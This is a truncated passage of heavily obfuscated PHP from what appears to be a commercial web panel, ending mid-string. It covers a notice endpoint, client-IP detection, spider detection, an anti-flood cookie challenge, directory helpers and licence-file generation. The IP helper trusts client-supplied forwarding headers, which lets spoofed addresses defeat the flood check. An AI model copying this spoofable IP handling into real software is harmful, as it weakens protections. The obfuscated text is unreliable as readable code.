K4px6j;K4pldMhx6k:K4px6j:K4px2w:$K4pA5=$_GET['getNotice']=='1';if($K4pA5)goto K4peWjgx6o;goto K4pldMhx6o;K4peWjgx6o:$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$authorization;$K4pzA2[]="getNotice";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4phC0;$result=$K4ptIA5;$K4pA5=!$result;if($K4pA5)goto K4peWjgx6q;goto K4pldMhx6q;K4peWjgx6q:$K4pzAvP0=array();$K4pzAvP0['code']=-1;$K4pzA2=array();$K4pzA2[]=&$K4pzAvP0;$K4peF1=call_user_func_array("json_encode",$K4pzA2);exit($K4peF1);goto K4px6p;K4pldMhx6q:$K4pzAvP0=array();$K4pzAvP0['code']=0;$K4pzAvP0['data']=$result;$K4pzA2=array();$K4pzA2[]=&$K4pzAvP0;$K4peF1=call_user_func_array("json_encode",$K4pzA2);exit($K4peF1);K4px6p:goto K4px6n;K4pldMhx6o:K4px6n:function x_real_ip(){unset($K4ptIA5);$K4ptIA5=$_SERVER['REMOTE_ADDR'];$ip=$K4ptIA5;$K4pA5=(bool)isset($_SERVER['HTTP_X_FORWARDED_FOR']);if($K4pA5)goto K4peWjgx6v;goto K4pldMhx6v;K4peWjgx6v:unset($K4pcV2);$K4pzA5=array();$K4pzA5[]=&$_SERVER;$K4peF4=call_user_func_array("is_array",$K4pzA5);if($K4peF4)goto K4peWjgx6t;goto K4pldMhx6t;K4peWjgx6t:$K4pcV2=&$_SERVER['HTTP_X_FORWARDED_FOR'];goto K4px6s;K4pldMhx6t:$K4pcV2=$_SERVER['HTTP_X_FORWARDED_FOR'];K4px6s:$K4pzA3=array();$K4pzA3[]="#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s";$K4pzA3[]=&$K4pcV2;$K4pzA3[]=&$matches;$K4peF1=call_user_func_array("preg_match_all",$K4pzA3);$K4pA5=(bool)$K4peF1;goto K4px6u;K4pldMhx6v:K4px6u:if($K4pA5)goto K4peWjgx6w;goto K4pldMhx6w;K4peWjgx6w:unset($K4pEc1);$K4pEc1=array();foreach($matches[0] as $xip){$K4pEc1[]=$xip;};$K4p1i=0;K4px7z:$K4pzA1=array();$K4pzA1[]=&$K4pEc1;$K4peF0=call_user_func_array("count",$K4pzA1);$K4pA5=$K4p1i<$K4peF0;if($K4pA5)goto K4peWjgx76;goto K4pldMhx76;K4peWjgx76:$K4p1Key=array_keys($K4pEc1);$K4p1Key=$K4p1Key[$K4p1i];unset($K4ptIA5);$K4ptIA5=$K4pEc1[$K4p1Key];$xip=$K4ptIA5;$K4pzA1=array();$K4pzA1[]="#^(10|172\.16|192\.168)\.#";$K4pzA1[]=&$xip;$K4peF0=call_user_func_array("preg_match",$K4pzA1);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgx78;goto K4pldMhx78;K4peWjgx78:goto K4peWjgx74;goto K4px77;K4pldMhx78:K4px77:goto K4pldMhx74;K4peWjgx74:goto K4peWjgx6y;goto K4px73;K4pldMhx74:K4px73:goto K4pldMhx6y;K4peWjgx6y:unset($K4ptIA5);$K4ptIA5=$xip;$ip=$K4ptIA5;goto K4px6x;K4pldMhx6y:K4px6x:K4px71:$K4p1i=$K4p1i+1;goto K4px7z;goto K4px75;K4pldMhx76:K4px75:K4px72:goto K4px6r;K4pldMhx6w:$K4pA5=(bool)isset($_SERVER['HTTP_CLIENT_IP']);if($K4pA5)goto K4peWjgx7c;goto K4pldMhx7c;K4peWjgx7c:unset($K4pcV2);$K4pzA5=array();$K4pzA5[]=&$_SERVER;$K4peF4=call_user_func_array("is_array",$K4pzA5);if($K4peF4)goto K4peWjgx7a;goto K4pldMhx7a;K4peWjgx7a:$K4pcV2=&$_SERVER['HTTP_CLIENT_IP'];goto K4px79;K4pldMhx7a:$K4pcV2=$_SERVER['HTTP_CLIENT_IP'];K4px79:$K4pzA3=array();$K4pzA3[]='/^([0-9]{1,3}\.){3}[0-9]{1,3}$/';$K4pzA3[]=&$K4pcV2;$K4peF1=call_user_func_array("preg_match",$K4pzA3);$K4pA5=(bool)$K4peF1;goto K4px7b;K4pldMhx7c:K4px7b:if($K4pA5)goto K4peWjgx7d;goto K4pldMhx7d;K4peWjgx7d:unset($K4ptIA5);$K4ptIA5=$_SERVER['HTTP_CLIENT_IP'];$ip=$K4ptIA5;goto K4px6r;K4pldMhx7d:$K4pA5=(bool)isset($_SERVER['HTTP_CF_CONNECTING_IP']);if($K4pA5)goto K4peWjgx7h;goto K4pldMhx7h;K4peWjgx7h:unset($K4pcV2);$K4pzA5=array();$K4pzA5[]=&$_SERVER;$K4peF4=call_user_func_array("is_array",$K4pzA5);if($K4peF4)goto K4peWjgx7f;goto K4pldMhx7f;K4peWjgx7f:$K4pcV2=&$_SERVER['HTTP_CF_CONNECTING_IP'];goto K4px7e;K4pldMhx7f:$K4pcV2=$_SERVER['HTTP_CF_CONNECTING_IP'];K4px7e:$K4pzA3=array();$K4pzA3[]='/^([0-9]{1,3}\.){3}[0-9]{1,3}$/';$K4pzA3[]=&$K4pcV2;$K4peF1=call_user_func_array("preg_match",$K4pzA3);$K4pA5=(bool)$K4peF1;goto K4px7g;K4pldMhx7h:K4px7g:if($K4pA5)goto K4peWjgx7i;goto K4pldMhx7i;K4peWjgx7i:unset($K4ptIA5);$K4ptIA5=$_SERVER['HTTP_CF_CONNECTING_IP'];$ip=$K4ptIA5;goto K4px6r;K4pldMhx7i:$K4pA5=(bool)isset($_SERVER['HTTP_X_REAL_IP']);if($K4pA5)goto K4peWjgx7n;goto K4pldMhx7n;K4peWjgx7n:unset($K4pcV2);$K4pzA5=array();$K4pzA5[]=&$_SERVER;$K4peF4=call_user_func_array("is_array",$K4pzA5);if($K4peF4)goto K4peWjgx7l;goto K4pldMhx7l;K4peWjgx7l:$K4pcV2=&$_SERVER['HTTP_X_REAL_IP'];goto K4px7k;K4pldMhx7l:$K4pcV2=$_SERVER['HTTP_X_REAL_IP'];K4px7k:$K4pzA3=array();$K4pzA3[]="/^([0-9]{1,3}\.){3}[0-9]{1,3}$/";$K4pzA3[]=&$K4pcV2;$K4peF1=call_user_func_array("preg_match",$K4pzA3);$K4pA5=(bool)$K4peF1;goto K4px7m;K4pldMhx7n:K4px7m:if($K4pA5)goto K4peWjgx7o;goto K4pldMhx7o;K4peWjgx7o:unset($K4ptIA5);$K4ptIA5=$_SERVER['HTTP_X_REAL_IP'];$ip=$K4ptIA5;goto K4px7j;K4pldMhx7o:K4px7j:K4px6r:return $ip;}function check_spider(){unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$_SERVER;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx7q;goto K4pldMhx7q;K4peWjgx7q:$K4pcV1=&$_SERVER['HTTP_USER_AGENT'];goto K4px7p;K4pldMhx7q:$K4pcV1=$_SERVER['HTTP_USER_AGENT'];K4px7p:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("strtolower",$K4pzA2);unset($K4ptIA5);$K4ptIA5=$K4peF0;$useragent=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='baiduspider';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx7s;goto K4pldMhx7s;K4peWjgx7s:return 'baiduspider';goto K4px7r;K4pldMhx7s:K4px7r:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='googlebot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx7u;goto K4pldMhx7u;K4peWjgx7u:return 'googlebot';goto K4px7t;K4pldMhx7u:K4px7t:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='360spider';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx7w;goto K4pldMhx7w;K4peWjgx7w:return '360spider';goto K4px7v;K4pldMhx7w:K4px7v:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='soso';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx7y;goto K4pldMhx7y;K4peWjgx7y:return 'soso';goto K4px7x;K4pldMhx7y:K4px7x:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='bing';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx81;goto K4pldMhx81;K4peWjgx81:return 'bing';goto K4px8z;K4pldMhx81:K4px8z:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='yahoo';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx83;goto K4pldMhx83;K4peWjgx83:return 'yahoo';goto K4px82;K4pldMhx83:K4px82:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='sohu-search';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx85;goto K4pldMhx85;K4peWjgx85:return 'Sohubot';goto K4px84;K4pldMhx85:K4px84:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='sogou';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx87;goto K4pldMhx87;K4peWjgx87:return 'sogou';goto K4px86;K4pldMhx87:K4px86:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='youdaobot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx89;goto K4pldMhx89;K4peWjgx89:return 'YoudaoBot';goto K4px88;K4pldMhx89:K4px88:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='robozilla';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8b;goto K4pldMhx8b;K4peWjgx8b:return 'Robozilla';goto K4px8a;K4pldMhx8b:K4px8a:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='msnbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8d;goto K4pldMhx8d;K4peWjgx8d:return 'msnbot';goto K4px8c;K4pldMhx8d:K4px8c:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='lycos';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8f;goto K4pldMhx8f;K4peWjgx8f:return 'Lycos';goto K4px8e;K4pldMhx8f:K4px8e:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='ia_archiver';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=!$K4peF0;$K4pA6=$K4pA5===false;if($K4pA6)goto K4peWjgx8h;goto K4pldMhx8h;K4peWjgx8h:goto K4px8g;K4pldMhx8h:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='iaarchiver';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=!$K4peF0;$K4pA6=$K4pA5===false;if($K4pA6)goto K4peWjgx8i;goto K4pldMhx8i;K4peWjgx8i:return 'alexa';goto K4px8g;K4pldMhx8i:K4px8g:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='archive.org_bot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8k;goto K4pldMhx8k;K4peWjgx8k:return 'Archive';goto K4px8j;K4pldMhx8k:K4px8j:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='sitebot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8m;goto K4pldMhx8m;K4peWjgx8m:return 'SiteBot';goto K4px8l;K4pldMhx8m:K4px8l:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='gosospider';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8o;goto K4pldMhx8o;K4peWjgx8o:return 'gosospider';goto K4px8n;K4pldMhx8o:K4px8n:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='gigabot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8q;goto K4pldMhx8q;K4peWjgx8q:return 'Gigabot';goto K4px8p;K4pldMhx8q:K4px8p:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='yrspider';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8s;goto K4pldMhx8s;K4peWjgx8s:return 'YRSpider';goto K4px8r;K4pldMhx8s:K4px8r:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='gigabot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8u;goto K4pldMhx8u;K4peWjgx8u:return 'Gigabot';goto K4px8t;K4pldMhx8u:K4px8t:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='wangidspider';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8w;goto K4pldMhx8w;K4peWjgx8w:return 'WangIDSpider';goto K4px8v;K4pldMhx8w:K4px8v:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='foxspider';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx8y;goto K4pldMhx8y;K4peWjgx8y:return 'FoxSpider';goto K4px8x;K4pldMhx8y:K4px8x:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='docomo';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx91;goto K4pldMhx91;K4peWjgx91:return 'DoCoMo';goto K4px9z;K4pldMhx91:K4px9z:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='yandexbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx93;goto K4pldMhx93;K4peWjgx93:return 'YandexBot';goto K4px92;K4pldMhx93:K4px92:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='sinaweibobot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx95;goto K4pldMhx95;K4peWjgx95:return 'SinaWeiboBot';goto K4px94;K4pldMhx95:K4px94:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='catchbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx97;goto K4pldMhx97;K4peWjgx97:return 'CatchBot';goto K4px96;K4pldMhx97:K4px96:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='surveybot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx99;goto K4pldMhx99;K4peWjgx99:return 'SurveyBot';goto K4px98;K4pldMhx99:K4px98:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='dotbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9b;goto K4pldMhx9b;K4peWjgx9b:return 'DotBot';goto K4px9a;K4pldMhx9b:K4px9a:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='purebot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9d;goto K4pldMhx9d;K4peWjgx9d:return 'Purebot';goto K4px9c;K4pldMhx9d:K4px9c:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='ccbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9f;goto K4pldMhx9f;K4peWjgx9f:return 'CCBot';goto K4px9e;K4pldMhx9f:K4px9e:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='mlbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9h;goto K4pldMhx9h;K4peWjgx9h:return 'MLBot';goto K4px9g;K4pldMhx9h:K4px9g:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='adsbot-google';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9j;goto K4pldMhx9j;K4peWjgx9j:return 'AdsBot-Google';goto K4px9i;K4pldMhx9j:K4px9i:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='ahrefsbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9l;goto K4pldMhx9l;K4peWjgx9l:return 'AhrefsBot';goto K4px9k;K4pldMhx9l:K4px9k:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='spbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9n;goto K4pldMhx9n;K4peWjgx9n:return 'spbot';goto K4px9m;K4pldMhx9n:K4px9m:$K4pzA1=array();$K4pzA1[]=&$useragent;$K4pzA1[]='augustbot';$K4peF0=call_user_func_array("strpos",$K4pzA1);$K4pA5=$K4peF0!==false;if($K4pA5)goto K4peWjgx9p;goto K4pldMhx9p;K4peWjgx9p:return 'AugustBot';goto K4px9o;K4pldMhx9p:K4px9o:return false;}function cc_defender(){$K4pzA1=array();$K4peFvP0=call_user_func_array("x_real_ip",$K4pzA1);$K4pzA3=array();$K4pzA3[]='Ymd';$K4peFvP2=call_user_func_array("date",$K4pzA3);$K4pvPA5=$K4peFvP0 . $K4peFvP2;$K4pzA5=array();$K4pzA5[]=&$K4pvPA5;$K4peF4=call_user_func_array("md5",$K4pzA5);$K4pzA7=array();$K4peFvP6=call_user_func_array("time",$K4pzA7);$K4pzA9=array();$K4pzA9[]=11111;$K4pzA9[]=99999;$K4peFvP8=call_user_func_array("rand",$K4pzA9);$K4pvPA6=$K4peFvP6 . $K4peFvP8;$K4pzA11=array();$K4pzA11[]=&$K4pvPA6;$K4peF10=call_user_func_array("md5",$K4pzA11);$K4pA7=$K4peF4 . $K4peF10;unset($K4ptIA8);$K4ptIA8=$K4pA7;$iptoken=$K4ptIA8;$K4pA5=!isset($_COOKIE['sec_defend']);$K4pA7=(bool)$K4pA5;$K4pA8=!$K4pA7;if($K4pA8)goto K4peWjgx9u;goto K4pldMhx9u;K4peWjgx9u:unset($K4pcV2);$K4pzA7=array();$K4pzA7[]=&$_COOKIE;$K4peF6=call_user_func_array("is_array",$K4pzA7);if($K4peF6)goto K4peWjgx9s;goto K4pldMhx9s;K4peWjgx9s:$K4pcV2=&$_COOKIE['sec_defend'];goto K4px9r;K4pldMhx9s:$K4pcV2=$_COOKIE['sec_defend'];K4px9r:$K4pzA3=array();$K4pzA3[]=&$K4pcV2;$K4pzA3[]=0;$K4pzA3[]=32;$K4peF1=call_user_func_array("substr",$K4pzA3);$K4pzA5=array();$K4pzA5[]=&$iptoken;$K4pzA5[]=0;$K4pzA5[]=32;$K4peF4=call_user_func_array("substr",$K4pzA5);$K4pA6=$K4peF1!==$K4peF4;$K4pA7=(bool)$K4pA6;goto K4px9t;K4pldMhx9u:K4px9t:if($K4pA7)goto K4peWjgx9v;goto K4pldMhx9v;K4peWjgx9v:$K4pA5=!$_COOKIE['sec_defend_time'];if($K4pA5)goto K4peWjgx9x;goto K4pldMhx9x;K4peWjgx9x:unset($K4ptIA5);$K4ptIA5=0;$_COOKIE['sec_defend_time']=$K4ptIA5;goto K4px9w;K4pldMhx9x:K4px9w:$K4pA5=new \lib\hieroglyphy();unset($K4ptIA6);$K4ptIA6=$K4pA5;$x=$K4ptIA6;$K4pzA1=array();$K4pzA1[]=&$iptoken;$K4pzA2=array();$K4pzA2[]=$x;$K4pzA2[]="hieroglyphyString";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4phC0;$setCookie=$K4ptIA5;$K4pA5=$_COOKIE['sec_defend_time']+1;unset($K4ptIA6);$K4ptIA6=$K4pA5;$sec_defend_time=$K4ptIA6;$K4pzA1=array();$K4pzA1[]='Content-type:text/html;charset=utf-8';$K4peF0=call_user_func_array("header",$K4pzA1);$K4pA5=$sec_defend_time>=10;if($K4pA5)goto K4peWjgxaz;goto K4pldMhxaz;K4peWjgxaz:exit('浏览器不支持COOKIE或者不正常访问!');goto K4px9y;K4pldMhxaz:K4px9y:$K4pA5='<html><head><meta http-equiv="pragma" content="no-cache"><meta http-equiv="cache-control" content="no-cache"><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>正在加载中</title><script>function setCookie(name,value){var exp = new Date();exp.setTime(exp.getTime() + 60*60*1000);document.cookie = name + "="+ escape (value).replace(/\+/g, \'%2B\') + ";expires=" + exp.toGMTString() + ";path=/";}function getCookie(name){var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");if(arr=document.cookie.match(reg))return unescape(arr[2]);else return null;}var sec_defend_time=getCookie(\'sec_defend_time\')||0;sec_defend_time++;setCookie(\'sec_defend\',' . $setCookie;$K4pA6=$K4pA5 . ');setCookie(\'sec_defend_time\',sec_defend_time);if(sec_defend_time>1)window.location.href="./index.php";else window.location.reload();</script></head><body></body></html>';echo $K4pA6;exit(0);goto K4px9q;K4pldMhx9v:if(isset($_COOKIE['sec_defend_time']))goto K4peWjgxa1;goto K4pldMhxa1;K4peWjgxa1:$K4pzA1=array();$K4peFvP0=call_user_func_array("time",$K4pzA1);$K4pvPA5=$K4peFvP0-604800;$K4pzA3=array();$K4pzA3[]='sec_defend_time';$K4pzA3[]='';$K4pzA3[]=&$K4pvPA5;$K4pzA3[]='/';$K4peF2=call_user_func_array("setcookie",$K4pzA3);goto K4px9q;K4pldMhxa1:K4px9q:}function copydirs($source,$dest){$K4pzA1=array();$K4pzA1[]=&$dest;$K4peF0=call_user_func_array("is_dir",$K4pzA1);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgxa3;goto K4pldMhxa3;K4peWjgxa3:$K4pzA1=array();$K4pzA1[]=&$dest;$K4pzA1[]=0755;$K4pzA1[]=true;$K4peF0=call_user_func_array("mkdir",$K4pzA1);goto K4pxa2;K4pldMhxa3:K4pxa2:$K4pvPA5=new RecursiveDirectoryIterator($source,RecursiveDirectoryIterator::SKIP_DOTS);$K4pA6=new RecursiveIteratorIterator($K4pvPA5,RecursiveIteratorIterator::SELF_FIRST);unset($K4ptIA7);$K4ptIA7=$K4pA6;$iterator=$K4ptIA7;unset($K4pEc1);$K4pEc1=array();foreach($iterator as $item){$K4pEc1[]=$item;};$K4p1i=0;K4pxa8:$K4pzA1=array();$K4pzA1[]=&$K4pEc1;$K4peF0=call_user_func_array("count",$K4pzA1);$K4pA5=$K4p1i<$K4peF0;if($K4pA5)goto K4peWjgxag;goto K4pldMhxag;K4peWjgxag:$K4p1Key=array_keys($K4pEc1);$K4p1Key=$K4p1Key[$K4p1i];unset($K4ptIA5);$K4ptIA5=$K4pEc1[$K4p1Key];$item=$K4ptIA5;$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$item;$K4pzA2[]="isDir";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);if($K4phC0)goto K4peWjgxai;goto K4pldMhxai;K4peWjgxai:goto K4peWjgxac;goto K4pxah;K4pldMhxai:K4pxah:goto K4pldMhxac;K4peWjgxac:goto K4peWjgxa5;goto K4pxab;K4pldMhxac:K4pxab:goto K4pldMhxa5;K4peWjgxa5:$K4pA5=$dest . "/";$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$iterator;$K4pzA2[]="getSubPathName";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);$K4pA6=$K4pA5 . $K4phC0;unset($K4ptIA7);$K4ptIA7=$K4pA6;unset($K4ptIA5);$K4ptIA5=$K4ptIA7;$sent_dir=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$sent_dir;$K4peF0=call_user_func_array("is_dir",$K4pzA1);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgxak;goto K4pldMhxak;K4peWjgxak:goto K4peWjgxae;goto K4pxaj;K4pldMhxak:K4pxaj:goto K4pldMhxae;K4peWjgxae:goto K4peWjgxa7;goto K4pxad;K4pldMhxae:K4pxad:goto K4pldMhxa7;K4peWjgxa7:$K4pzA1=array();$K4pzA1[]=&$sent_dir;$K4pzA1[]=0755;$K4pzA1[]=true;$K4peF0=call_user_func_array("mkdir",$K4pzA1);goto K4pxa6;K4pldMhxa7:K4pxa6:goto K4pxa4;K4pldMhxa5:$K4pvPA5=$dest . "/";$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$iterator;$K4pzA2[]="getSubPathName";$K4phCvP0=call_user_func_array($K4pzA2,$K4pzA1);$K4pvPA6=$K4pvPA5 . $K4phCvP0;$K4pzA1=array();$K4pzA1[]=&$item;$K4pzA1[]=&$K4pvPA6;$K4peF0=call_user_func_array("copy",$K4pzA1);K4pxa4:K4pxa9:$K4p1i=$K4p1i+1;goto K4pxa8;goto K4pxaf;K4pldMhxag:K4pxaf:K4pxaa:}function rmdirs($dir,$rmself=true){$K4pzA1=array();$K4pzA1[]=&$dir;$K4peF0=call_user_func_array("is_dir",$K4pzA1);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgxam;goto K4pldMhxam;K4peWjgxam:return false;goto K4pxal;K4pldMhxam:K4pxal:$K4pvPA5=new RecursiveDirectoryIterator($dir,RecursiveDirectoryIterator::SKIP_DOTS);$K4pA6=new RecursiveIteratorIterator($K4pvPA5,RecursiveIteratorIterator::CHILD_FIRST);unset($K4ptIA7);$K4ptIA7=$K4pA6;$files=$K4ptIA7;unset($K4pEc1);$K4pEc1=array();foreach($files as $file){$K4pEc1[]=$file;};$K4p1i=0;K4pxap:$K4pzA1=array();$K4pzA1[]=&$K4pEc1;$K4peF0=call_user_func_array("count",$K4pzA1);$K4pA5=$K4p1i<$K4peF0;if($K4pA5)goto K4peWjgxav;goto K4pldMhxav;K4peWjgxav:$K4p1Key=array_keys($K4pEc1);$K4p1Key=$K4p1Key[$K4p1i];unset($K4ptIA5);$K4ptIA5=$K4pEc1[$K4p1Key];$file=$K4ptIA5;$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$file;$K4pzA2[]="isDir";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);if($K4phC0)goto K4peWjgxax;goto K4pldMhxax;K4peWjgxax:goto K4peWjgxat;goto K4pxaw;K4pldMhxax:K4pxaw:goto K4pldMhxat;K4peWjgxat:goto K4peWjgxao;goto K4pxas;K4pldMhxat:K4pxas:goto K4pldMhxao;K4peWjgxao:$K4pA5='rmdir';goto K4pxan;K4pldMhxao:$K4pA5='unlink';K4pxan:unset($K4ptIA6);$K4ptIA6=$K4pA5;unset($K4ptIA5);$K4ptIA5=$K4ptIA6;$todo=$K4ptIA5;$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$file;$K4pzA2[]="getRealPath";$K4phCvP0=call_user_func_array($K4pzA2,$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$K4phCvP0;$K4peF0=call_user_func_array($todo,$K4pzA1);K4pxaq:$K4p1i=$K4p1i+1;goto K4pxap;goto K4pxau;K4pldMhxav:K4pxau:K4pxar:if($rmself)goto K4peWjgxbz;goto K4pldMhxbz;K4peWjgxbz:$GLOBALS["Ox8117"]=ini_get("error_reporting");error_reporting(0);$K4pzA1=array();$K4pzA1[]=&$dir;$K4peF0=call_user_func_array("rmdir",$K4pzA1);$K4peRA5=$K4peF0;error_reporting($GLOBALS["Ox8117"]);goto K4pxay;K4pldMhxbz:K4pxay:return true;}function editAuthInfo(){$K4pA5="<?php
class AuthInfo{
    const AUTHCODE = '" . AuthInfo::AUTHCODE;$K4pA6=$K4pA5 . "';
  const VERSION = '";$K4pA7=$K4pA6 . AuthInfo::VERSION;$K4pA8=$K4pA7 . "';
   const EDITION = '";$K4pA9=$K4pA8 . AuthInfo::EDITION;$K4pAA=$K4pA9 . "';
    const PUBLIC_KEY = '";$K4pAB=$K4pAA . AuthInfo::PUBLIC_KEY;$K4pAC=$K4pAB . "';
